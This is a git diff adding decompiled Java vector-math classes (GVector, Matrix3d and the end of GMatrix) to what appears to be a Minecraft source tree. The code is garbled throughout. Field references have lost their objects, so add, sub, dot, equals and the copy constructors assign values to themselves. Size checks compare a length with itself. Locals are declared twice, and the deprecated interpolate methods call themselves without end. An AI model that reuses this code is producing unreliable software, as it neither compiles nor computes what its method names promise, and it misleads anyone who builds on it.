+    double x = a >= 0.0D ? a : -a;
+    return b >= 0.0D ? x : -x;
+  }
+  
+
+
+
+
+
+
+
+  public Object clone()
+  {
+    GMatrix m1 = null;
+    try {
+      m1 = (GMatrix)super.clone();
+    }
+    catch (CloneNotSupportedException e) {
+      throw new InternalError();
+    }
+    
+
+    values = new double[nRow][nCol];
+    for (int i = 0; i < nRow; i++) {
+      for (int j = 0; j < nCol; j++) {
+        values[i][j] = values[i][j];
+      }
+    }
+    
+    return m1;
+  }
+}
diff --git a/src/minecraft/javax/vecmath/GVector.java b/src/minecraft/javax/vecmath/GVector.java
new file mode 100644
index 0000000..1f66145
--- /dev/null
+++ b/src/minecraft/javax/vecmath/GVector.java
@@ -0,0 +1,932 @@
+package javax.vecmath;
+
+import java.io.Serializable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class GVector
+  implements Serializable, Cloneable
+{
+  private int length;
+  double[] values;
+  static final long serialVersionUID = 1398850036893875112L;
+  
+  public GVector(int length)
+  {
+    this.length = length;
+    values = new double[length];
+    for (int i = 0; i < length; i++) { values[i] = 0.0D;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public GVector(double[] vector)
+  {
+    length = vector.length;
+    values = new double[vector.length];
+    for (int i = 0; i < length; i++) { values[i] = vector[i];
+    }
+  }
+  
+
+
+
+
+
+
+  public GVector(GVector vector)
+  {
+    values = new double[length];
+    length = length;
+    for (int i = 0; i < length; i++) { values[i] = values[i];
+    }
+  }
+  
+
+
+
+
+  public GVector(Tuple2f tuple)
+  {
+    values = new double[2];
+    values[0] = x;
+    values[1] = y;
+    length = 2;
+  }
+  
+
+
+
+
+
+  public GVector(Tuple3f tuple)
+  {
+    values = new double[3];
+    values[0] = x;
+    values[1] = y;
+    values[2] = z;
+    length = 3;
+  }
+  
+
+
+
+
+
+  public GVector(Tuple3d tuple)
+  {
+    values = new double[3];
+    values[0] = x;
+    values[1] = y;
+    values[2] = z;
+    length = 3;
+  }
+  
+
+
+
+
+
+  public GVector(Tuple4f tuple)
+  {
+    values = new double[4];
+    values[0] = x;
+    values[1] = y;
+    values[2] = z;
+    values[3] = w;
+    length = 4;
+  }
+  
+
+
+
+
+
+  public GVector(Tuple4d tuple)
+  {
+    values = new double[4];
+    values[0] = x;
+    values[1] = y;
+    values[2] = z;
+    values[3] = w;
+    length = 4;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public GVector(double[] vector, int length)
+  {
+    this.length = length;
+    values = new double[length];
+    for (int i = 0; i < length; i++) {
+      values[i] = vector[i];
+    }
+  }
+  
+
+
+
+
+
+
+  public final double norm()
+  {
+    double sq = 0.0D;
+    
+
+    for (int i = 0; i < length; i++) {
+      sq += values[i] * values[i];
+    }
+    
+    return Math.sqrt(sq);
+  }
+  
+
+
+
+
+
+
+  public final double normSquared()
+  {
+    double sq = 0.0D;
+    
+
+    for (int i = 0; i < length; i++) {
+      sq += values[i] * values[i];
+    }
+    
+    return sq;
+  }
+  
+
+
+
+
+  public final void normalize(GVector v1)
+  {
+    double sq = 0.0D;
+    
+
+    if (length != length) {
+      throw new MismatchedSizeException(VecMathI18N.getString("GVector0"));
+    }
+    for (int i = 0; i < length; i++) {
+      sq += values[i] * values[i];
+    }
+    
+
+    double invMag = 1.0D / Math.sqrt(sq);
+    
+    for (i = 0; i < length; i++) {
+      values[i] *= invMag;
+    }
+  }
+  
+
+
+
+
+  public final void normalize()
+  {
+    double sq = 0.0D;
+    
+
+    for (int i = 0; i < length; i++) {
+      sq += values[i] * values[i];
+    }
+    
+
+    double invMag = 1.0D / Math.sqrt(sq);
+    
+    for (i = 0; i < length; i++) {
+      values[i] *= invMag;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public final void scale(double s, GVector v1)
+  {
+    if (length != length) {
+      throw new MismatchedSizeException(VecMathI18N.getString("GVector1"));
+    }
+    for (int i = 0; i < length; i++) {
+      values[i] *= s;
+    }
+  }
+  
+
+
+
+
+
+
+  public final void scale(double s)
+  {
+    for (int i = 0; i < length; i++) {
+      values[i] *= s;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public final void scaleAdd(double s, GVector v1, GVector v2)
+  {
+    if (length != length) {
+      throw new MismatchedSizeException(VecMathI18N.getString("GVector2"));
+    }
+    if (length != length) {
+      throw new MismatchedSizeException(VecMathI18N.getString("GVector3"));
+    }
+    for (int i = 0; i < length; i++) {
+      values[i] = (values[i] * s + values[i]);
+    }
+  }
+  
+
+
+
+
+
+
+
+  public final void add(GVector vector)
+  {
+    if (length != length) {
+      throw new MismatchedSizeException(VecMathI18N.getString("GVector4"));
+    }
+    for (int i = 0; i < length; i++) {
+      values[i] += values[i];
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public final void add(GVector vector1, GVector vector2)
+  {
+    if (length != length) {
+      throw new MismatchedSizeException(VecMathI18N.getString("GVector5"));
+    }
+    if (length != length) {
+      throw new MismatchedSizeException(VecMathI18N.getString("GVector6"));
+    }
+    for (int i = 0; i < length; i++) {
+      values[i] += values[i];
+    }
+  }
+  
+
+
+
+
+
+
+  public final void sub(GVector vector)
+  {
+    if (length != length) {
+      throw new MismatchedSizeException(VecMathI18N.getString("GVector7"));
+    }
+    for (int i = 0; i < length; i++) {
+      values[i] -= values[i];
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  public final void sub(GVector vector1, GVector vector2)
+  {
+    if (length != length) {
+      throw new MismatchedSizeException(VecMathI18N.getString("GVector8"));
+    }
+    if (length != length) {
+      throw new MismatchedSizeException(VecMathI18N.getString("GVector9"));
+    }
+    for (int i = 0; i < length; i++) {
+      values[i] -= values[i];
+    }
+  }
+  
+
+
+
+
+  public final void mul(GMatrix m1, GVector v1)
+  {
+    if (m1.getNumCol() != length) {
+      throw new MismatchedSizeException(VecMathI18N.getString("GVector10"));
+    }
+    if (length != m1.getNumRow())
+      throw new MismatchedSizeException(VecMathI18N.getString("GVector11"));
+    double[] v;
+    double[] v;
+    if (v1 != this) {
+      v = values;
+    } else {
+      v = (double[])values.clone();
+    }
+    
+    for (int j = length - 1; j >= 0; j--) {
+      values[j] = 0.0D;
+      for (int i = length - 1; i >= 0; i--) {
+        values[j] += values[j][i] * v[i];
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  public final void mul(GVector v1, GMatrix m1)
+  {
+    if (m1.getNumRow() != length) {
+      throw new MismatchedSizeException(VecMathI18N.getString("GVector12"));
+    }
+    if (length != m1.getNumCol())
+      throw new MismatchedSizeException(VecMathI18N.getString("GVector13"));
+    double[] v;
+    double[] v;
+    if (v1 != this) {
+      v = values;
+    } else {
+      v = (double[])values.clone();
+    }
+    
+    for (int j = length - 1; j >= 0; j--) {
+      values[j] = 0.0D;
+      for (int i = length - 1; i >= 0; i--) {
+        values[j] += values[i][j] * v[i];
+      }
+    }
+  }
+  
+
+
+  public final void negate()
+  {
+    for (int i = length - 1; i >= 0; i--) {
+      values[i] *= -1.0D;
+    }
+  }
+  
+
+
+  public final void zero()
+  {
+    for (int i = 0; i < length; i++) {
+      values[i] = 0.0D;
+    }
+  }
+  
+
+
+
+
+
+  public final void setSize(int length)
+  {
+    double[] tmp = new double[length];
+    int max;
+    int max;
+    if (this.length < length) {
+      max = this.length;
+    } else {
+      max = length;
+    }
+    for (int i = 0; i < max; i++) {
+      tmp[i] = values[i];
+    }
+    this.length = length;
+    
+    values = tmp;
+  }
+  
+
+
+
+
+
+
+  public final void set(double[] vector)
+  {
+    for (int i = length - 1; i >= 0; i--) {
+      values[i] = vector[i];
+    }
+  }
+  
+
+
+
+
+  public final void set(GVector vector)
+  {
+    if (length < length) {
+      length = length;
+      values = new double[length];
+      for (int i = 0; i < length; i++)
+        values[i] = values[i];
+    }
+    for (int i = 0; i < length; i++)
+      values[i] = values[i];
+    for (i = length; i < length; i++) {
+      values[i] = 0.0D;
+    }
+  }
+  
+
+
+
+
+  public final void set(Tuple2f tuple)
+  {
+    if (length < 2) {
+      length = 2;
+      values = new double[2];
+    }
+    values[0] = x;
+    values[1] = y;
+    for (int i = 2; i < length; i++) { values[i] = 0.0D;
+    }
+  }
+  
+
+
+
+
+  public final void set(Tuple3f tuple)
+  {
+    if (length < 3) {
+      length = 3;
+      values = new double[3];
+    }
+    values[0] = x;
+    values[1] = y;
+    values[2] = z;
+    for (int i = 3; i < length; i++) { values[i] = 0.0D;
+    }
+  }
+  
+
+
+
+  public final void set(Tuple3d tuple)
+  {
+    if (length < 3) {
+      length = 3;
+      values = new double[3];
+    }
+    values[0] = x;
+    values[1] = y;
+    values[2] = z;
+    for (int i = 3; i < length; i++) { values[i] = 0.0D;
+    }
+  }
+  
+
+
+
+  public final void set(Tuple4f tuple)
+  {
+    if (length < 4) {
+      length = 4;
+      values = new double[4];
+    }
+    values[0] = x;
+    values[1] = y;
+    values[2] = z;
+    values[3] = w;
+    for (int i = 4; i < length; i++) { values[i] = 0.0D;
+    }
+  }
+  
+
+
+
+  public final void set(Tuple4d tuple)
+  {
+    if (length < 4) {
+      length = 4;
+      values = new double[4];
+    }
+    values[0] = x;
+    values[1] = y;
+    values[2] = z;
+    values[3] = w;
+    for (int i = 4; i < length; i++) { values[i] = 0.0D;
+    }
+  }
+  
+
+
+
+  public final int getSize()
+  {
+    return values.length;
+  }
+  
+
+
+
+
+
+  public final double getElement(int index)
+  {
+    return values[index];
+  }
+  
+
+
+
+
+
+
+  public final void setElement(int index, double value)
+  {
+    values[index] = value;
+  }
+  
+
+
+
+  public String toString()
+  {
+    StringBuffer buffer = new StringBuffer(length * 8);
+    
+
+
+    for (int i = 0; i < length; i++) {
+      buffer.append(values[i]).append(" ");
+    }
+    
+    return buffer.toString();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public int hashCode()
+  {
+    long bits = 1L;
+    
+    for (int i = 0; i < length; i++) {
+      bits = 31L * bits + VecMathUtil.doubleToLongBits(values[i]);
+    }
+    
+    return (int)(bits ^ bits >> 32);
+  }
+  
+
+
+
+
+
+
+  public boolean equals(GVector vector1)
+  {
+    try
+    {
+      if (length != length) { return false;
+      }
+      for (int i = 0; i < length; i++) {
+        if (values[i] != values[i]) { return false;
+        }
+      }
+      return true;
+    } catch (NullPointerException e2) {}
+    return false;
+  }
+  
+
+
+
+
+
+
+  public boolean equals(Object o1)
+  {
+    try
+    {
+      GVector v2 = (GVector)o1;
+      
+      if (length != length) { return false;
+      }
+      for (int i = 0; i < length; i++) {
+        if (values[i] != values[i]) return false;
+      }
+      return true;
+    } catch (ClassCastException e1) {
+      return false; } catch (NullPointerException e2) {}
+    return false;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public boolean epsilonEquals(GVector v1, double epsilon)
+  {
+    if (length != length) { return false;
+    }
+    for (int i = 0; i < length; i++) {
+      double diff = values[i] - values[i];
+      if ((diff < 0.0D ? -diff : diff) > epsilon) return false;
+    }
+    return true;
+  }
+  
+
+
+
+
+
+  public final double dot(GVector v1)
+  {
+    if (length != length) {
+      throw new MismatchedSizeException(VecMathI18N.getString("GVector14"));
+    }
+    double result = 0.0D;
+    for (int i = 0; i < length; i++) {
+      result += values[i] * values[i];
+    }
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public final void SVDBackSolve(GMatrix U, GMatrix W, GMatrix V, GVector b)
+  {
+    if ((nRow != b.getSize()) || (nRow != nCol) || (nRow != nRow))
+    {
+
+      throw new MismatchedSizeException(VecMathI18N.getString("GVector15"));
+    }
+    
+    if ((nCol != values.length) || (nCol != nCol) || (nCol != nRow))
+    {
+
+      throw new MismatchedSizeException(VecMathI18N.getString("GVector23"));
+    }
+    
+    GMatrix tmp = new GMatrix(nRow, nCol);
+    tmp.mul(U, V);
+    tmp.mulTransposeRight(U, W);
+    tmp.invert();
+    mul(tmp, b);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public final void LUDBackSolve(GMatrix LU, GVector b, GVector permutation)
+  {
+    int size = nRow * nCol;
+    
+    double[] temp = new double[size];
+    double[] result = new double[size];
+    int[] row_perm = new int[b.getSize()];
+    
+
+    if (nRow != b.getSize()) {
+      throw new MismatchedSizeException(VecMathI18N.getString("GVector16"));
+    }
+    
+    if (nRow != permutation.getSize()) {
+      throw new MismatchedSizeException(VecMathI18N.getString("GVector24"));
+    }
+    
+    if (nRow != nCol) {
+      throw new MismatchedSizeException(VecMathI18N.getString("GVector25"));
+    }
+    
+    for (int i = 0; i < nRow; i++) {
+      for (int j = 0; j < nCol; j++) {
+        temp[(i * nCol + j)] = values[i][j];
+      }
+    }
+    
+    for (i = 0; i < size; i++) result[i] = 0.0D;
+    for (i = 0; i < nRow; i++) result[(i * nCol)] = values[i];
+    for (i = 0; i < nCol; i++) { row_perm[i] = ((int)values[i]);
+    }
+    GMatrix.luBacksubstitution(nRow, temp, row_perm, result);
+    
+    for (i = 0; i < nRow; i++) { values[i] = result[(i * nCol)];
+    }
+  }
+  
+
+
+
+
+
+
+  public final double angle(GVector v1)
+  {
+    return Math.acos(dot(v1) / (norm() * v1.norm()));
+  }
+  
+  /**
+   * @deprecated
+   */
+  public final void interpolate(GVector v1, GVector v2, float alpha)
+  {
+    interpolate(v1, v2, alpha);
+  }
+  
+  /**
+   * @deprecated
+   */
+  public final void interpolate(GVector v1, float alpha)
+  {
+    interpolate(v1, alpha);
+  }
+  
+
+
+
+
+
+
+
+
+  public final void interpolate(GVector v1, GVector v2, double alpha)
+  {
+    if (length != length) {
+      throw new MismatchedSizeException(VecMathI18N.getString("GVector20"));
+    }
+    if (length != length) {
+      throw new MismatchedSizeException(VecMathI18N.getString("GVector21"));
+    }
+    for (int i = 0; i < length; i++) {
+      values[i] = ((1.0D - alpha) * values[i] + alpha * values[i]);
+    }
+  }
+  
+
+
+
+
+
+
+  public final void interpolate(GVector v1, double alpha)
+  {
+    if (length != length) {
+      throw new MismatchedSizeException(VecMathI18N.getString("GVector22"));
+    }
+    for (int i = 0; i < length; i++) {
+      values[i] = ((1.0D - alpha) * values[i] + alpha * values[i]);
+    }
+  }
+  
+
+
+
+
+
+
+
+  public Object clone()
+  {
+    GVector v1 = null;
+    try {
+      v1 = (GVector)super.clone();
+    }
+    catch (CloneNotSupportedException e) {
+      throw new InternalError();
+    }
+    
+
+    values = new double[length];
+    for (int i = 0; i < length; i++) {
+      values[i] = values[i];
+    }
+    
+    return v1;
+  }
+}
diff --git a/src/minecraft/javax/vecmath/Matrix3d.java b/src/minecraft/javax/vecmath/Matrix3d.java
new file mode 100644
index 0000000..d88bba2
--- /dev/null
+++ b/src/minecraft/javax/vecmath/Matrix3d.java
@@ -0,0 +1,3320 @@
+package javax.vecmath;
+
+import java.io.PrintStream;
+import java.io.Serializable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Matrix3d
+  implements Serializable, Cloneable
+{
+  static final long serialVersionUID = 6837536777072402710L;
+  public double m00;
+  public double m01;
+  public double m02;
+  public double m10;
+  public double m11;
+  public double m12;
+  public double m20;
+  public double m21;
+  public double m22;
+  private static final double EPS = 1.110223024E-16D;
+  private static final double ERR_EPS = 1.0E-8D;
+  private static double xin;
+  private static double yin;
+  private static double zin;
+  private static double xout;
+  private static double yout;
+  private static double zout;
+  
+  public Matrix3d(double m00, double m01, double m02, double m10, double m11, double m12, double m20, double m21, double m22)
+  {
+    this.m00 = m00;
+    this.m01 = m01;
+    this.m02 = m02;
+    
+    this.m10 = m10;
+    this.m11 = m11;
+    this.m12 = m12;
+    
+    this.m20 = m20;
+    this.m21 = m21;
+    this.m22 = m22;
+  }
+  
+
+
+
+
+
+
+  public Matrix3d(double[] v)
+  {
+    m00 = v[0];
+    m01 = v[1];
+    m02 = v[2];
+    
+    m10 = v[3];
+    m11 = v[4];
+    m12 = v[5];
+    
+    m20 = v[6];
+    m21 = v[7];
+    m22 = v[8];
+  }
+  
+
+
+
+
+
+
+  public Matrix3d(Matrix3d m1)
+  {
+    m00 = m00;
+    m01 = m01;
+    m02 = m02;
+    
+    m10 = m10;
+    m11 = m11;
+    m12 = m12;
+    
+    m20 = m20;
+    m21 = m21;
+    m22 = m22;
+  }
+  
+
+
+
+
+
+
+  public Matrix3d(Matrix3f m1)
+  {
+    m00 = m00;
+    m01 = m01;
+    m02 = m02;
+    
+    m10 = m10;
+    m11 = m11;
+    m12 = m12;
+    
+    m20 = m20;
+    m21 = m21;
+    m22 = m22;
+  }
+  
+
+
+
+
+  public Matrix3d()
+  {
+    m00 = 0.0D;
+    m01 = 0.0D;
+    m02 = 0.0D;
+    
+    m10 = 0.0D;
+    m11 = 0.0D;
+    m12 = 0.0D;
+    
+    m20 = 0.0D;
+    m21 = 0.0D;
+    m22 = 0.0D;
+  }
+  
+
+
+
+
+  public String toString()
+  {
+    return m00 + ", " + m01 + ", " + m02 + "\n" + m10 + ", " + m11 + ", " + m12 + "\n" + m20 + ", " + m21 + ", " + m22 + "\n";
+  }
+  
+
+
+
+
+
+
+  public final void setIdentity()
+  {
+    m00 = 1.0D;
+    m01 = 0.0D;
+    m02 = 0.0D;
+    
+    m10 = 0.0D;
+    m11 = 1.0D;
+    m12 = 0.0D;
+    
+    m20 = 0.0D;
+    m21 = 0.0D;
+    m22 = 1.0D;
+  }
+  
+
+
+
+
+
+
+
+  public final void setScale(double scale)
+  {
+    double[] tmp_rot = new double[9];
+    double[] tmp_scale = new double[3];
+    
+    getScaleRotate(tmp_scale, tmp_rot);
+    
+    m00 = (tmp_rot[0] * scale);
+    m01 = (tmp_rot[1] * scale);
+    m02 = (tmp_rot[2] * scale);
+    
+    m10 = (tmp_rot[3] * scale);
+    m11 = (tmp_rot[4] * scale);
+    m12 = (tmp_rot[5] * scale);
+    
+    m20 = (tmp_rot[6] * scale);
+    m21 = (tmp_rot[7] * scale);
+    m22 = (tmp_rot[8] * scale);
+  }
+  
+
+
+
+
+
+
+  public final void setElement(int row, int column, double value)
+  {
+    switch (row)
+    {
+    case 0: 
+      switch (column)
+      {
+      case 0: 
+        m00 = value;
+        break;
+      case 1: 
+        m01 = value;
+        break;
+      case 2: 
+        m02 = value;
+        break;
+      default: 
+        throw new ArrayIndexOutOfBoundsException(VecMathI18N.getString("Matrix3d0"));
+      }
+      
+      break;
+    case 1: 
+      switch (column)
+      {
+      case 0: 
+        m10 = value;
+        break;
+      case 1: 
+        m11 = value;
+        break;
+      case 2: 
+        m12 = value;
+        break;
+      default: 
+        throw new ArrayIndexOutOfBoundsException(VecMathI18N.getString("Matrix3d0"));
+      }
+      
+      
+      break;
+    case 2: 
+      switch (column)
+      {
+      case 0: 
+        m20 = value;
+        break;
+      case 1: 
+        m21 = value;
+        break;
+      case 2: 
+        m22 = value;
+        break;
+      default: 
+        throw new ArrayIndexOutOfBoundsException(VecMathI18N.getString("Matrix3d0"));
+      }
+      
+      break;
+    default: 
+      throw new ArrayIndexOutOfBoundsException(VecMathI18N.getString("Matrix3d0"));
+    }
+    
+  }
+  
+
+
+
+
+
+
+  public final double getElement(int row, int column)
+  {
+    switch (row)
+    {
+    case 0: 
+      switch (column)
+      {
+      case 0: 
+        return m00;
+      case 1: 
+        return m01;
+      case 2: 
+        return m02;
+      }
+      break;
+    
+
+    case 1: 
+      switch (column)
+      {
+      case 0: 
+        return m10;
+      case 1: 
+        return m11;
+      case 2: 
+        return m12;
+      }
+      break;
+    
+
+
+    case 2: 
+      switch (column)
+      {
+      case 0: 
+        return m20;
+      case 1: 
+        return m21;
+      case 2: 
+        return m22;
+      }
+      break;
+    }
+    
+    
+
+
+
+
+    throw new ArrayIndexOutOfBoundsException(VecMathI18N.getString("Matrix3d1"));
+  }
+  
+
+
+
+
+  public final void getRow(int row, Vector3d v)
+  {
+    if (row == 0) {
+      x = m00;
+      y = m01;
+      z = m02;
+    } else if (row == 1) {
+      x = m10;
+      y = m11;
+      z = m12;
+    } else if (row == 2) {
+      x = m20;
+      y = m21;
+      z = m22;
+    } else {
+      throw new ArrayIndexOutOfBoundsException(VecMathI18N.getString("Matrix3d2"));
+    }
+  }
+  
+
+
+
+
+
+  public final void getRow(int row, double[] v)
+  {
+    if (row == 0) {
+      v[0] = m00;
+      v[1] = m01;
+      v[2] = m02;
+    } else if (row == 1) {
+      v[0] = m10;
+      v[1] = m11;
+      v[2] = m12;
+    } else if (row == 2) {
+      v[0] = m20;
+      v[1] = m21;
+      v[2] = m22;
+    } else {
+      throw new ArrayIndexOutOfBoundsException(VecMathI18N.getString("Matrix3d2"));
+    }
+  }
+  
+
+
+
+
+
+
+  public final void getColumn(int column, Vector3d v)
+  {
+    if (column == 0) {
+      x = m00;
+      y = m10;
+      z = m20;
+    } else if (column == 1) {
+      x = m01;
+      y = m11;
+      z = m21;
+    } else if (column == 2) {
+      x = m02;
+      y = m12;
+      z = m22;
+    } else {
+      throw new ArrayIndexOutOfBoundsException(VecMathI18N.getString("Matrix3d4"));
+    }
+  }
+  
+
+
+
+
+
+
+  public final void getColumn(int column, double[] v)
+  {
+    if (column == 0) {
+      v[0] = m00;
+      v[1] = m10;
+      v[2] = m20;
+    } else if (column == 1) {
+      v[0] = m01;
+      v[1] = m11;
+      v[2] = m21;
+    } else if (column == 2) {
+      v[0] = m02;
+      v[1] = m12;
+      v[2] = m22;
+    } else {
+      throw new ArrayIndexOutOfBoundsException(VecMathI18N.getString("Matrix3d4"));
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  public final void setRow(int row, double x, double y, double z)
+  {
+    switch (row) {
+    case 0: 
+      m00 = x;
+      m01 = y;
+      m02 = z;
+      break;
+    
+    case 1: 
+      m10 = x;
+      m11 = y;
+      m12 = z;
+      break;
+    
+    case 2: 
+      m20 = x;
+      m21 = y;
+      m22 = z;
+      break;
+    
+    default: 
+      throw new ArrayIndexOutOfBoundsException(VecMathI18N.getString("Matrix3d6"));
+    }
+    
+  }
+  
+
+
+
+
+  public final void setRow(int row, Vector3d v)
+  {
+    switch (row) {
+    case 0: 
+      m00 = x;
+      m01 = y;
+      m02 = z;
+      break;
+    
+    case 1: 
+      m10 = x;
+      m11 = y;
+      m12 = z;
+      break;
+    
+    case 2: 
+      m20 = x;
+      m21 = y;
+      m22 = z;
+      break;
+    
+    default: 
+      throw new ArrayIndexOutOfBoundsException(VecMathI18N.getString("Matrix3d6"));
+    }
+    
+  }
+  
+
+
+
+
+  public final void setRow(int row, double[] v)
+  {
+    switch (row) {
+    case 0: 
+      m00 = v[0];
+      m01 = v[1];
+      m02 = v[2];
+      break;
+    
+    case 1: 
+      m10 = v[0];
+      m11 = v[1];
+      m12 = v[2];
+      break;
+    
+    case 2: 
+      m20 = v[0];
+      m21 = v[1];
+      m22 = v[2];
+      break;
+    
+    default: 
+      throw new ArrayIndexOutOfBoundsException(VecMathI18N.getString("Matrix3d6"));
+    }
+    
+  }
+  
+
+
+
+
+
+
+  public final void setColumn(int column, double x, double y, double z)
+  {
+    switch (column) {
+    case 0: 
+      m00 = x;
+      m10 = y;
+      m20 = z;
+      break;
+    
+    case 1: 
+      m01 = x;
+      m11 = y;
+      m21 = z;
+      break;
+    
+    case 2: 
+      m02 = x;
+      m12 = y;
+      m22 = z;
+      break;
+    
+    default: 
+      throw new ArrayIndexOutOfBoundsException(VecMathI18N.getString("Matrix3d9"));
+    }
+    
+  }
+  
+
+
+
+
+  public final void setColumn(int column, Vector3d v)
+  {
+    switch (column) {
+    case 0: 
+      m00 = x;
+      m10 = y;
+      m20 = z;
+      break;
+    
+    case 1: 
+      m01 = x;
+      m11 = y;
+      m21 = z;
+      break;
+    
+    case 2: 
+      m02 = x;
+      m12 = y;
+      m22 = z;
+      break;
+    
+    default: 
+      throw new ArrayIndexOutOfBoundsException(VecMathI18N.getString("Matrix3d9"));
+    }
+    
+  }
+  
+
+
+
+
+  public final void setColumn(int column, double[] v)
+  {
+    switch (column) {
+    case 0: 
+      m00 = v[0];
+      m10 = v[1];
+      m20 = v[2];
+      break;
+    
+    case 1: 
+      m01 = v[0];
+      m11 = v[1];
+      m21 = v[2];
+      break;
+    
+    case 2: 
+      m02 = v[0];
+      m12 = v[1];
+      m22 = v[2];
+      break;
+    
+    default: 
+      throw new ArrayIndexOutOfBoundsException(VecMathI18N.getString("Matrix3d9"));
+    }
+    
+  }
+  
+
+
+
+
+
+
+
+  public final double getScale()
+  {
+    double[] tmp_scale = new double[3];
+    double[] tmp_rot = new double[9];
+    getScaleRotate(tmp_scale, tmp_rot);
+    
+    return max3(tmp_scale);
+  }
+  
+
+
+
+
+
+  public final void add(double scalar)
+  {
+    m00 += scalar;
+    m01 += scalar;
+    m02 += scalar;
+    
+    m10 += scalar;
+    m11 += scalar;
+    m12 += scalar;
+    
+    m20 += scalar;
+    m21 += scalar;
+    m22 += scalar;
+  }
+  
+
+
+
+
+
+
+
+  public final void add(double scalar, Matrix3d m1)
+  {
+    m00 += scalar;
+    m01 += scalar;
+    m02 += scalar;
+    
+    m10 += scalar;
+    m11 += scalar;
+    m12 += scalar;
+    
+    m20 += scalar;
+    m21 += scalar;
+    m22 += scalar;
+  }
+  
+
+
+
+
+
+  public final void add(Matrix3d m1, Matrix3d m2)
+  {
+    m00 += m00;
+    m01 += m01;
+    m02 += m02;
+    
+    m10 += m10;
+    m11 += m11;
+    m12 += m12;
+    
+    m20 += m20;
+    m21 += m21;
+    m22 += m22;
+  }
+  
+
+
+
+
+  public final void add(Matrix3d m1)
+  {
+    m00 += m00;
+    m01 += m01;
+    m02 += m02;
+    
+    m10 += m10;
+    m11 += m11;
+    m12 += m12;
+    
+    m20 += m20;
+    m21 += m21;
+    m22 += m22;
+  }
+  
+
+
+
+
+
+
+  public final void sub(Matrix3d m1, Matrix3d m2)
+  {
+    m00 -= m00;
+    m01 -= m01;
+    m02 -= m02;
+    
+    m10 -= m10;
+    m11 -= m11;
+    m12 -= m12;
+    
+    m20 -= m20;
+    m21 -= m21;
+    m22 -= m22;
+  }
+  
+
+
+
+
+
+  public final void sub(Matrix3d m1)
+  {
+    m00 -= m00;
+    m01 -= m01;
+    m02 -= m02;
+    
+    m10 -= m10;
+    m11 -= m11;
+    m12 -= m12;
+    
+    m20 -= m20;
+    m21 -= m21;
+    m22 -= m22;
+  }
+  
+
+
+
+
+
+  public final void transpose()
+  {
+    double temp = m10;
+    m10 = m01;
+    m01 = temp;
+    
+    temp = m20;
+    m20 = m02;
+    m02 = temp;
+    
+    temp = m21;
+    m21 = m12;
+    m12 = temp;
+  }
+  
+
+
+
+
+  public final void transpose(Matrix3d m1)
+  {
+    if (this != m1) {
+      m00 = m00;
+      m01 = m10;
+      m02 = m20;
+      
+      m10 = m01;
+      m11 = m11;
+      m12 = m21;
+      
+      m20 = m02;
+      m21 = m12;
+      m22 = m22;
+    } else {
+      transpose();
+    }
+  }
+  
+
+
+
+
+  public final void set(Quat4d q1)
+  {
+    m00 = (1.0D - 2.0D * y * y - 2.0D * z * z);
+    m10 = (2.0D * (x * y + w * z));
+    m20 = (2.0D * (x * z - w * y));
+    
+    m01 = (2.0D * (x * y - w * z));
+    m11 = (1.0D - 2.0D * x * x - 2.0D * z * z);
+    m21 = (2.0D * (y * z + w * x));
+    
+    m02 = (2.0D * (x * z + w * y));
+    m12 = (2.0D * (y * z - w * x));
+    m22 = (1.0D - 2.0D * x * x - 2.0D * y * y);
+  }
+  
+
+
+
+
+
+  public final void set(AxisAngle4d a1)
+  {
+    double mag = Math.sqrt(x * x + y * y + z * z);
+    
+    if (mag < 1.110223024E-16D) {
+      m00 = 1.0D;
+      m01 = 0.0D;
+      m02 = 0.0D;
+      
+      m10 = 0.0D;
+      m11 = 1.0D;
+      m12 = 0.0D;
+      
+      m20 = 0.0D;
+      m21 = 0.0D;
+      m22 = 1.0D;
+    } else {
+      mag = 1.0D / mag;
+      double ax = x * mag;
+      double ay = y * mag;
+      double az = z * mag;
+      
+      double sinTheta = Math.sin(angle);
+      double cosTheta = Math.cos(angle);
+      double t = 1.0D - cosTheta;
+      
+      double xz = ax * az;
+      double xy = ax * ay;
+      double yz = ay * az;
+      
+      m00 = (t * ax * ax + cosTheta);
+      m01 = (t * xy - sinTheta * az);
+      m02 = (t * xz + sinTheta * ay);
+      
+      m10 = (t * xy + sinTheta * az);
+      m11 = (t * ay * ay + cosTheta);
+      m12 = (t * yz - sinTheta * ax);
+      
+      m20 = (t * xz - sinTheta * ay);
+      m21 = (t * yz + sinTheta * ax);
+      m22 = (t * az * az + cosTheta);
+    }
+  }
+  
+
+
+
+
+
+  public final void set(Quat4f q1)
+  {
+    m00 = (1.0D - 2.0D * y * y - 2.0D * z * z);
+    m10 = (2.0D * (x * y + w * z));
+    m20 = (2.0D * (x * z - w * y));
+    
+    m01 = (2.0D * (x * y - w * z));
+    m11 = (1.0D - 2.0D * x * x - 2.0D * z * z);
+    m21 = (2.0D * (y * z + w * x));
+    
+    m02 = (2.0D * (x * z + w * y));
+    m12 = (2.0D * (y * z - w * x));
+    m22 = (1.0D - 2.0D * x * x - 2.0D * y * y);
+  }
+  
+
+
+
+
+
+  public final void set(AxisAngle4f a1)
+  {
+    double mag = Math.sqrt(x * x + y * y + z * z);
+    if (mag < 1.110223024E-16D) {
+      m00 = 1.0D;
+      m01 = 0.0D;
+      m02 = 0.0D;
+      
+      m10 = 0.0D;
+      m11 = 1.0D;
+      m12 = 0.0D;
+      
+      m20 = 0.0D;
+      m21 = 0.0D;
+      m22 = 1.0D;
